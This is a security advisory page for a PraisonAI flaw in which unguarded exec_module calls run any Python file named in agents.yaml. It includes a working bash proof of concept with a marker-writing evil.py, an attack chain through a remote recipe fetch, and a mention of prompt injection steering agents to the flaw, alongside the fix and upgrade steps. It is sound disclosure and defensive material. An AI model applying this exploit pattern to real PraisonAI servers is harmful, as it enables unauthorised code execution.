Skip to content

GHSA-78r8-wwqv-r299 CVE-2026-47398 CVE-2026-64824 PYSEC-2026-2905

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

Critical PyPI
Severity
9.3 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.71%
Chance of exploitation in the next 30 days. Higher than 53.66% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-829 Inclusion of Functionality from Untrusted Control Sphere
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
4.6.40
Upgrade praisonai to this version or later

Description

<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3>

CVE GHSA Fixed in What was patched
CVE-2026-40156 GHSA-2g3w-cpc4-chr4 4.5.128 CWD tools.py auto-load in tool_resolver.py
CVE-2026-40287 GHSA-g985-wjh9-qxxc 4.5.139 Env-var gate added to tool_resolver.py + api/call.py
CVE-2026-44334 GHSA-xcmw-grxf-wjhj 4.6.32 Missed sink in templates/tool_override.py
This finding — unfixed Missed sinks in agents_generator.py

<p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre>

<p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

2. agents.yaml that references it

cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF

3. Run

cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

4. Verify

MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre>

<h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>>= 2.0.0, <= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre>

<p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen & Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage
CVE GHSA Fixed in What was patched
CVE-2026-40156 GHSA-2g3w-cpc4-chr4 4.5.128 CWD tools.py auto-load in tool_resolver.py
CVE-2026-40287 GHSA-g985-wjh9-qxxc 4.5.139 Env-var gate added to tool_resolver.py + api/call.py
CVE-2026-44334 GHSA-xcmw-grxf-wjhj 4.6.32 Missed sink in templates/tool_override.py
This finding — unfixed Missed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code
# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

  1. Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
  2. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
  3. Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector)
HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC
#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi
Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE
  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.6.40
4.6.40

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.40

pip
pip install --upgrade "praisonai>=4.6.40"
poetry
poetry add "praisonai>=4.6.40"
uv
uv add "praisonai>=4.6.40"

Severity breakdown

CVSS 4.0 9.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
High
User interaction
Active
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High
Exploit maturity
Not defined
Scope
X

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor